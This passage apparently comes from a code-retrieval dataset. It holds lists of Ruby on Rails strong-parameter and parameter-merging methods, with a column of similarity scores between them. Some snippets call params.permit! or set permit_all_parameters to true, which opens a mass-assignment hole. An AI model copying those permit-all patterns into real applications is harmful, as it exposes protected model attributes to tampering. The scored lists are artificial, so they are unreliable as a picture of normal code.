"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Add the parameters in hash +new+ to already existing parameters. If +new+ contains a parameter with an already existing name, the old definition is clobbered.
|
def add_params(new)
# We do not check for duplication on purpose: multiple calls
# to add_params should be cumulative
new.each { |p| @params[p.name] = p }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def additional_parameters= new_additional_parameters\n if new_additional_parameters.respond_to? :to_hash\n @additional_parameters = new_additional_parameters.to_hash\n else\n raise TypeError,\n \"Expected Hash, got #{new_additional_parameters.class}.\"\n end\n end",
"def add_params(hash)\n @params.merge!(hash)\n end",
"def params(new = nil)\n if new.nil?\n @params\n else\n with(params: params.merge(new))\n end\n end",
"def merge_overrided_params!\n overrided_params = upper(:@@overrided_params) || {}\n @params.merge!(overrided_params)\n end",
"def copy_and_add_param(key,value=nil,type=nil)\n new = self.copy\n new.add_param(key,value,type)\n return new\n end",
"def merge!(other_hash)\n @parameters.merge!(other_hash.to_h)\n self\n end",
"def add_default_airbrake_notice_parameters(new_params)\n new_params.is_a?(Hash) || fail(Errors::InvalidParameters)\n new_params = new_params.with_indifferent_access\n\n # find out common element size (which should be 0)\n common_keys = default_airbrake_notice_parameters.keys & new_params.keys\n if common_keys.size > 0\n fail(\n Errors::ParameterKeyConflict,\n \"Conflicting keys: #{common_keys.inspect}\",\n )\n end\n\n default_airbrake_notice_parameters.merge!(new_params)\n end",
"def param_name_add(name, id, default)\n param = Hash.new\n param['name'] = name\n param['id'] = id\n param['value_db'] = 0\n param['value_ar'] = 0\n param['default'] = default\n @params << param\n end",
"def param_name_add(name, id, default)\n found = false\n @params.each do |p|\n if p['name'] == name\n found = true\n end\n end\n\n if found == false\n param = Hash.new\n param['name'] = name\n param['id'] = id\n param['value_db'] = 0\n param['value_ar'] = 0\n param['default'] = default\n @params << param\n end\n end",
"def updated_parameters(parameters, environment)\n return parameters unless environment\n\n parameters << Parameter.new(\"environment\", environment)\n end",
"def extension_parameters= new_extension_parameters\n if new_extension_parameters.respond_to? :to_hash\n @extension_parameters = new_extension_parameters.to_hash\n else\n raise TypeError,\n \"Expected Hash, got #{new_extension_parameters.class}.\"\n end\n end",
"def params=(hash)\n @params.replace hash\n end",
"def setupNewParam(_varied)\n _param = {} ;\n @scatterPolicy.each{|_paramName, _policy|\n _param[_paramName] = ( _varied.key?(_paramName) ?\n _varied[_paramName] :\n getValueByPolicy(_policy) ) ;\n }\n return _param ;\n end",
"def add(param_name, value)\n if value.class == Hash\n if self.params.has_key?(param_name)\n if self.params[param_name].class == Hash\n self.params[param_name].merge!(value)\n elsif self.params.has_key?(param_name)\n if self.params[param_name].class != value.class\n raise ArgumentError, \"#{param_name} already exists, and is of different type!\"\n end\n end\n else\n self.params[param_name] = value\n end\n if ! self.groups.include?(param_name)\n self.groups.push(param_name)\n end\n else\n self.params[param_name] = value\n end\n end",
"def add_parameter( key, value, prompt=nil )\n @parameters[ key ] = [value, prompt]\n end",
"def params=(hash); end",
"def params=(hash); end",
"def with(new_attrs)\n self.class.new(to_h.merge(new_attrs))\n end",
"def params=(hash)\n if params\n params.replace hash\n else\n super\n end\n end",
"def complete_params_hash!(params_hash, names, values)#:nodoc:\n names[0...values.length].each_with_index do |k, i|\n params_hash[k] = values[i]\n end\n end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def convert_parameters40(new_property, parameters)\n # Adding all parameters.\n parameters.each do |_, param|\n # vCard 2.1 allowed parameters with no name\n param.no_name = false if param.no_name\n\n case param.name\n # We need to see if there's any TYPE=PREF, because in vCard 4\n # that's now PREF=1.\n when 'TYPE'\n param.parts.each do |param_part|\n if param_part.upcase == 'PREF'\n new_property.add('PREF', '1')\n else\n new_property.add(param.name, param_part)\n end\n end\n when 'ENCODING', 'CHARSET'\n # These no longer exist in vCard 4\n else\n new_property.add(param.name, param.parts)\n end\n end\n end",
"def +(other)\n pp = PositionalParams.merge_for_overload(positional_params, other.positional_params)\n kp = keyword_params + other.keyword_params\n Params.new(positional_params: pp, keyword_params: kp)\n end",
"def add_params(inputpar)\n inputpar.each do |ki, va|\n @default_params[ki] = va\n end\n end",
"def convert_parameters30(new_property, parameters)\n # Adding all parameters.\n parameters.each do |_, param|\n # vCard 2.1 allowed parameters with no name\n param.no_name = false if param.no_name\n\n case param.name\n when 'ENCODING'\n # This value only existed in vCard 2.1, and should be\n # removed for anything else.\n if param.value.upcase != 'QUOTED-PRINTABLE'\n new_property.add(param.name, param.parts)\n end\n # Converting PREF=1 to TYPE=PREF.\n #\n # Any other PREF numbers we'll drop.\n when 'PREF'\n new_property.add('TYPE', 'PREF') if param.value == '1'\n else\n new_property.add(param.name, param.parts)\n end\n end\n end",
"def merge(new_data)\n new_data.each do |attribute_name, value|\n self[attribute_name] = value\n end\n end",
"def setupNewParam(_seed)\n _param = {} ;\n @paramListIndex.each{|_entry|\n _name = _entry[:name] ;\n _param[_name] = ( _seed.key?(_name) ?\n _seed[_name] :\n @paramListTable[_name][_entry[:index]] ) ;\n }\n shiftIndex(@paramListIndex,0) ;\n return _param ;\n end",
"def param_plus(param_id, *args, &block)\n val = super(param_id, *args, &block)\n maesb_sets.compact.inject(val) {|r, item| r += item.params[param_id] }\n end",
"def merge(other_hash)\n new_instance_with_inherited_permitted_status(\n @parameters.merge(other_hash.to_h)\n )\n end",
"def add_columns(*new_columns)\n options = Hash.new\n new_columns.each {|c| options[c] = true}\n @params[:add_columns] = FEATURE_DEFAULTS[:add_columns].merge(options)\n end",
"def add_to_hash(storage_hash, name, new_name)\r\n storage_hash[name] = new_name\r\nend",
"def modify_cache_parameter_group(id, new_parameters)\n # Construct Parameter Modifications in the format:\n # ParameterNameValues.member.N.ParameterName => \"param_name\"\n # ParameterNameValues.member.N.ParameterValue => \"param_value\"\n n = 0 # n is the parameter index\n parameter_changes = new_parameters.reduce({}) do |new_args,pair|\n n += 1\n new_args[\"ParameterNameValues.member.#{n}.ParameterName\"] = pair[0]\n new_args[\"ParameterNameValues.member.#{n}.ParameterValue\"] = pair[1]\n new_args\n end\n # Merge the Cache Security Group parameters with the normal options\n request(parameter_changes.merge(\n 'Action' => 'ModifyCacheParameterGroup',\n 'CacheParameterGroupName' => id,\n :parser => Fog::Parsers::AWS::Elasticache::ModifyParameterGroup.new\n ))\n end",
"def set_params!(param_hash={})\n param_hash.each { |k,v| @set_params[k.to_s] = v }\n end",
"def param_plus(param_id)\r\n @param_plus[param_id]\r\n end",
"def add_parameters(*parameters)\n @interface.add_parameters(*parameters)\n end",
"def will_create_new_hash(**hash)\n hash[:x] = 10 # Change\n p hash\n p hash.object_id \nend",
"def add_parameter(name, value = 0, description = \"\")\n\t\t\tif (@parameters.key? name) or (@species.key? name)\n\t\t\t\traise \"duplicate parameter #{name}\"\n\t\t\tend\n\n\t\t\t@parameters[name] = Parameter.new(name, value, description)\n\n\t\t\tself\n\t\tend",
"def add_param(vocab, p1, p2)\n @params.push([vocab, p1, p2])\n end",
"def update!(**args)\n @parameters = args[:parameters] if args.key?(:parameters)\n end",
"def add_to_list(new_item, quantity)\n #addition = { new_item => quantity }\n addition = Hash.new\n addition[new_item] = quantity\n new_list = addition.merge($old_list.to_h)\n #p new_list\nend",
"def dup_params\n dup = HashWithIndifferentAccess.new\n\n params.each do |key, value|\n dup[key] = value.is_a?(ActiveRecord::Base) ? value : value.dup\n end\n\n dup\n end",
"def modify_new_model_params(model_params)\n\tend",
"def params=(hash)\n @params.clear\n @params.update(hash)\n end",
"def params=(hash)\n @params.clear\n @params.update(hash)\n end",
"def params_new\n base = [:product]\n params.require(:new_offer).permit(base)\n end",
"def special(*names)\n # Ensure special param are also a valid param (see ParameterMerger#param)\n names_hash = names.map { |n| [n, nil] }.to_h\n\n # this just Hash#reverse_merge! as implemented in activesupport-4.2\n default_params.merge!(names_hash) { |_key, left, _right| left }\n special_params.concat(names)\n end",
"def with_tag_data( newhash={} )\n\t\traise LocalJumpError, \"no block given\" unless block_given?\n\t\t# self.log.debug \"Overriding tag state with: %p\" % [ newhash ]\n\n\t\tbegin\n\t\t\t@tag_data.push( @tag_data.last.merge(newhash) )\n\t\t\tyield( self )\n\t\tensure\n\t\t\t@tag_data.pop\n\t\tend\n\tend",
"def add_item(hash, new_item, item_quantity)\n hash[new_item] = item_quantity\nend",
"def add_item(hash, new_key, new_value)\n hash[new_key] = new_value\n p hash\nend",
"def update!(**args)\n @name = args[:name] if args.key?(:name)\n @parameters = args[:parameters] if args.key?(:parameters)\n end",
"def add_item(hash, new_item, qty)\n hash[new_item] = qty\n hash \nend",
"def addParameter(*parms)\n\t\t\t\tparms = parms.first if parms.class == Array and (parms.first.class == Hash || parms.first.kind_of?(SAPNW::RFC::Parameter))\n\t\t\t case parms\n\t\t\t\t when Array\n\t\t\t\t\t name, direction, type, len, ulen, decimals = parms\n\t\t\t\t when Hash\n name = parms.has_key?(:name) ? parms[:name] : nil\n direction = parms.has_key?(:direction) ? parms[:direction] : nil\n type = parms.has_key?(:type) ? parms[:type] : nil\n len = parms.has_key?(:len) ? parms[:len] : nil\n ulen = parms.has_key?(:ulen) ? parms[:ulen] : nil\n decimals = parms.has_key?(:decimals) ? parms[:decimals] : nil\n\t\t\t when SAPNW::RFC::Export, SAPNW::RFC::Import, SAPNW::RFC::Changing, SAPNW::RFC::Table\n\t\t\t\t\t # this way happens when a function def is manually defined\n\t\t\t\t\t self.add_parameter(parms)\n @parameters[parms.name] = parms\n\t\t\t\t\t\treturn parms\n\t\t\t\t else\n\t\t\t raise \"invalid SAPNW::RFC::FunctionDescriptor parameter supplied: #{parms.inspect}\\n\"\n\t\t\t\tend\n\t\t\t\t\n\t\t\t #$stderr.print \"parm: #{name} direction: #{direction} type: #{type} len: #{len} decimals: #{decimals}\\n\"\n case direction\n\t\t\t\t when SAPNW::RFC::IMPORT\n\t\t\t\t\t if @parameters.has_key?(name) and @parameters[name].direction == SAPNW::RFC::EXPORT\n\t\t\t\t\t p = SAPNW::RFC::Changing.new(self, name, type, len, ulen, decimals)\n\t\t\t\t\t\telse\n\t\t\t\t\t p = SAPNW::RFC::Import.new(self, name, type, len, ulen, decimals)\n\t\t\t\t\t\tend\n\t\t\t\t\twhen SAPNW::RFC::EXPORT\n\t\t\t\t\t if @parameters.has_key?(name) and @parameters[name].direction == SAPNW::RFC::IMPORT\n\t\t\t\t\t p = SAPNW::RFC::Changing.new(self, name, type, len, ulen, decimals)\n\t\t\t\t\t\telse\n\t\t\t\t\t p = SAPNW::RFC::Export.new(self, name, type, len, ulen, decimals)\n\t\t\t\t\t\tend\n\t\t\t\t\twhen SAPNW::RFC::CHANGING\n\t\t\t\t\t p = SAPNW::RFC::Changing.new(self, name, type, len, ulen, decimals)\n\t\t\t\t\twhen SAPNW::RFC::TABLES\n\t\t\t\t\t p = SAPNW::RFC::Table.new(self, name, type, len, ulen, decimals)\n\t\t\t\t\telse\n\t\t\t\t\t raise \"unknown direction (#{name}): #{direction}\\n\"\n\t\t\t\tend\n @parameters[p.name] = p\n\t\t\t\treturn p\n\t\t\tend",
"def assign_hash(method_name, params)\n @params[method_name] ||= {}\n params.each do |attr_name, value|\n @params[method_name][attr_name] = value\n end\n end",
"def params=(value={})\n @params.merge! value\n end",
"def add(new_custom_methods)\n raise ArgumentError if new_custom_methods.nil?\n @custom_methods.merge!(new_custom_methods)\n end",
"def append_cfg(cfg)\n return unless cfg.respond_to? \"[]\"\n keys=@cfg.keys.map{|e| e.to_s}.sort\n cfg.each_key do |k|\n #like R, partial match of the parameter names\n if k2=keys.find{|e| e=~/^#{k}/}\n @cfg[k2.to_sym]=cfg[k]\n end\n end\n ## puts \"append_cfg\";p @cfg\n end",
"def post_params=(new_param_hash_or_str)\n # First see if this is a body payload\n if !new_param_hash_or_str.kind_of?(Hash)\n compose_verbatim_payload(new_param_hash_or_str)\n # then check if anything in the new param hash resembles an uplaod\n elsif extract_values(new_param_hash_or_str).any?{|value| value.respond_to?(:original_filename) }\n compose_multipart_params(new_param_hash_or_str)\n else\n compose_urlencoded_params(new_param_hash_or_str)\n end\n end",
"def add_item(g_hash,new_item,quantity = 1)\n g_hash[new_item] = quantity\nend",
"def add_item(g_hash,new_item,quantity = 1)\n g_hash[new_item] = quantity\nend",
"def define_parameter(params)\n @properties[:parameters] = Hashie::Mash.new unless @properties.key?(:parameters)\n if params.kind_of? Hash\n @properties[:parameters].merge!(params)\n else\n error \"Cannot define parameter for app '#{self.name}'! Parameter \"+\n \"not passed as a Hash ('#{params.inspect}')\"\n end\n end",
"def define_parameter(params)\n @properties[:parameters] = Hashie::Mash.new unless @properties.key?(:parameters)\n if params.kind_of? Hash\n @properties[:parameters].merge!(params)\n else\n error \"Cannot define parameter for app '#{self.name}'! Parameter \"+\n \"not passed as a Hash ('#{params.inspect}')\"\n end\n end",
"def create_with_methods!\n @parameters.reject(&:header?).each do |parameter|\n self.class.define_method(:\"with_#{parameter.to_method_name}\") do |value|\n @with_params[parameter.name] = value\n self\n end\n end\n end",
"def update_params\n raise 'Sovrascrivi in figli'\n end",
"def parameters(hash = nil)\n hash ? @parameters = hash : @parameters\n end",
"def add( name, *args, &block )\n\t\tname = name.to_sym\n\t\tconstraint = Constraint.for( name, *args, &block )\n\n\t\t# No-op if there's already a parameter with the same name and constraint\n\t\tif self.constraints.key?( name )\n\t\t\treturn if self.constraints[ name ] == constraint\n\t\t\traise ArgumentError,\n\t\t\t\t\"parameter %p is already defined as %s; perhaps you meant to use #override?\" %\n\t\t\t\t\t[ name.to_s, self.constraints[name] ]\n\t\tend\n\n\t\tself.log.debug \"Adding parameter %p: %p\" % [ name, constraint ]\n\t\tself.constraints[ name ] = constraint\n\n\t\tself.validated = false\n\tend",
"def with(new_key_vals)\n check_keys(new_key_vals.keys)\n self.class.new(@key_vals.merge(new_key_vals))\n end",
"def append(*new_attributes)\n new(attributes + new_attributes)\n end",
"def add_in_params_with_order(add_in_params)\n new_params, index = {}, 0\n add_in_params.each do |_k, v|\n value = v.to_unsafe_hash\n value.delete(:id)\n\n new_params[\"#{index}\"] = value\n index += 1\n end\n\n new_params\n end",
"def add_future_params(key, value)\n @future_params[key] = value\n end",
"def <<(hHash)\n @params.merge!(hHash) unless hHash.nil?\n end",
"def update(hash)\n @unsigned_query = nil\n\n hash.each do |key, val|\n # Syntactic sugar: Camelize symbol keys.\n if key.is_a? Symbol\n key = key.to_s.split('_').map(&:capitalize).join\n end\n @params[key] = val\n end\n\n self\n end",
"def add_parameter(id,handle,deriv_method) \n @params[id] = AmpParam.new(handle,deriv_method)\n end",
"def add(data)\n params = self.params\n data['add']['parameters'].each { |k,v|\n params[k] = v\n }\n write(params)\n data['add']['parameters']\n end",
"def add_new_season_and_holiday_with_supplies(holiday_hash, season, holiday_name, supply_array)\n holiday_hash[season] = {holiday_name => supply_array} # the new echelon being created is to the left of the equals sign.\n holiday_hash\nend",
"def set_parameters(hash)\n # Use the order provided by allattrs, but add in any\n # extra attributes from the resource so we get failures\n # on invalid attributes.\n no_values = []\n (self.class.allattrs + hash.keys).uniq.each do |attr|\n begin\n # Set any defaults immediately. This is mostly done so\n # that the default provider is available for any other\n # property validation.\n if hash.has_key?(attr)\n self[attr] = hash[attr]\n else\n no_values << attr\n end\n rescue ArgumentError, Puppet::Error, TypeError\n raise\n rescue => detail\n error = Puppet::DevError.new( \"Could not set #{attr} on #{self.class.name}: #{detail}\")\n error.set_backtrace(detail.backtrace)\n raise error\n end\n end\n no_values.each do |attr|\n set_default(attr)\n end\n end",
"def create_params bespoke_params={}\n bespoke_params ||= {}\n h = set.dup.merge(bespoke_params)\n generated_params.each do |k,blk|\n # Make sure we don't call the block if the param is going to be overridden anyway\n next if h.has_key?(k)\n h[k] = blk.call\n end\n h = auto_generated_params.merge(h)\n Array(auto_confirm).each do |field|\n val = value_for(klass, field)\n confirm_field = :\"#{field}_confirmation\"\n h[field] = val unless h.has_key?(field)\n h[confirm_field] = val unless h.has_key?(confirm_field)\n end\n h\n end",
"def update_params!(params)\n @params.update(_deep_dup(params))\n @inherited_params.update(@params.delete(:inherited) || {})\n\n # Note: self.class.default_params is NOT to be merged in @child_params\n @child_params = @inherited_params.merge(@params)\n self.class.special_params.each { |name| @child_params.delete(name) }\n\n self.class.required_params.each do |rp|\n raise \"Required param is missing: #{rp}\" unless @pmerger.param?(rp)\n end\n end",
"def replace_with( new_section)\n #1. delete all param_values of original section.\n #2. update section_id of current page_layout.\n #3. add new param_values of new sections for each template theme which is using current page_layout\n self.remove_param_value()\n new_section_instance = self.root.self_and_descendants.select{|xnode| xnode.section_id==new_section.id }.size.succ\n self.section_id, self.section_instance=new_section.id, new_section_instance\n self.save!\n self.themes.each{|theme|\n self.add_param_value(theme)\n }\n end",
"def update!(**args)\n @new_name = args[:new_name] if args.key?(:new_name)\n @prev_name = args[:prev_name] if args.key?(:prev_name)\n end",
"def add_params\n product = self.product\n\n self.name = product.name\n self.original_price = product.current_price\n self.alert_price = product.current_price\n end",
"def alias(new, old)\n @values << new unless @values.include? new\n @aliases[new] = old\n end",
